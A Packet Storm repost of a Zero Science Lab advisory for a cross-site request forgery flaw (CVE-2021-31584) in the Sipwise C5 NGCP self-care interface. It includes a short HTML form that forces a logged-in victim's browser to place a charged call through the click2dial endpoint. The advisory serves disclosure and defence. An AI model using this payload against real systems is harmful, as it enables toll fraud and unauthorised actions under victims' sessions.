

## Sipwise C5 NGCP CSC Cross Site Request Forgery

Authored by [LiquidWorm](#) | Site [zeroscience.mk](#)

Posted [Apr 23, 2021](#)

The Sipwise application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Versions affected include CE\_m39.3.1 and below and NGCP www\_admin version 3.6.7.

tags | [exploit](#) | [web](#)  
advisories | [CVE-2021-31584](#)

SHA-256 | 7af65ecb81ce4b4c1a3d5b2e77c78c1b93a601f5b442985ac77bb97f00dc5731 [Download](#) | [Favorite](#) | [View](#)

### Related Files

### Share This

Like Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror

Download

Sipwise C5 NGCP CSC CSRP Click2Dial Exploit

Vendor: Sipwise GmbH

Product web page: <https://www.sipwise.com>

Affected version: <=CE\_m39.3.1

NGCP www\_admin version 3.6.7

Summary: Sipwise CS (also known as NGCP - the Next Generation Communication Platform) is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail, conferencing etc.) that can be configured by end users in the self-care web interface. For operators, it offers a web-based administrative panel that allows them to configure subscribers, SIP peerings, billing profiles, and other entities. The administrative web panel also shows the real-time statistics for the whole system. For tight integration into existing infrastructures, Sipwise C5 provides a powerful REST API interface.

Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Tested on: Apache/2.2.22 (Debian)

Apache/2.2.16 (Debian)

nginx

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2021-5649

Advisory URL: <https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5649.php>

CVE ID: CVE-2021-31584

CVE URL: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31584>

13.04.2021

--

<html>

<body>

<form action="https://10.0.1.7/call/click2dial" method="POST">

<input type="hidden" name="d" value="%2B3897031337" />

<input type="submit" value="Dial and charge!" />


</form>

</body>

</html>

[Login](#) or [Register](#) to add favorites

 Follow us on Twitter

 Subscribe to an RSS Feed

### File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

### Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11security 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

### File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	

### Systems

File Upload (946)	
Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

- Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (876)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other

SUSE (1,444)

Ubuntu (8,199)

UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other



© 2022 Packet Storm. All rights reserved.

Site Links

- News by Month

News Tags

Files by Month

File Tags

File Directory

About Us

- History & Purpose

Contact Information

Terms of Service

Privacy Statement

Copyright Information

Hosting By

Rokasec



Follow us on Twitter



Subscribe to an RSS Feed